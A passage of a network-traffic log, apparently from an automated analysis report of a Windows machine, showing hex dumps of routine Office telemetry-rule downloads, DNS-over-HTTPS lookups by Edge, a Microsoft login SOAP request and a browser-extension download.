2024-11-28 10:05:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:28 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:28 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 691d9d27-b01e-0070-2a0b-411cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100528Z-174f7845968pght8hC1EWRyvxg00000001d0000000005yak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:28 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.7	49834	172.64.41.3	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 10:05:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 10:05:28 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 10:05:28 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e998a2dfdfc0f4f-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 10:05:28 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f2 00 04 8e fa 40 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom@C)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.7	49832	162.159.61.3	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 10:05:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 10:05:29 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 10:05:28 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e998a2f8838c413-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 10:05:29 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 13 00 04 8e fa b0 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.7	49827	162.159.61.3	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 10:05:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 10:05:28 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 10:05:28 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e998a2e4b05c341-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 10:05:28 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1c 00 04 8e fa 48 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomHc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.7	49826	162.159.61.3	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 10:05:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 10:05:28 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 10:05:28 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e998a2e58bb32d9-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 10:05:28 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 13 00 04 8e fb 28 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.7	49833	172.64.41.3	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 10:05:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 10:05:28 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 10:05:28 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e998a2e5e5141a1-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 10:05:28 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 df 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.7	49831	162.159.61.3	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 10:05:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 10:05:28 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 10:05:28 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e998a2e49ac4352-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 10:05:28 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 17 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.7	49815	20.190.147.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:28 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3528 Host: login.live.com
2024-11-28 10:05:28 UTC	3528	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 10:05:31 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 10:04:31 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BL2 x-ms-request-id: 91bde11f-9c59-46b6-b000-44bbc2cc2587 PPServer: PPV: 30 H: BL02EPF0001D75B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 10:05:30 GMT Connection: close Content-Length: 1276
2024-11-28 10:05:31 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.7	49821	142.250.181.65	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:28 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 10:05:29 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC4ZjqXlR9c2WaJAkMQ9T29mKgZyUWAl30zlMeVWfVqvo7yS4sz72IU_VKJYbTtI74Oc9rQ X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Wed, 27 Nov 2024 16:45:00 GMT Expires: Thu, 27 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 62429 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-28 10:05:29 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-28 10:05:29 UTC	1390	IN	Data Raw: 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 Data Ascii: :__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-11-28 10:05:29 UTC	1390	IN	Data Raw: 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt 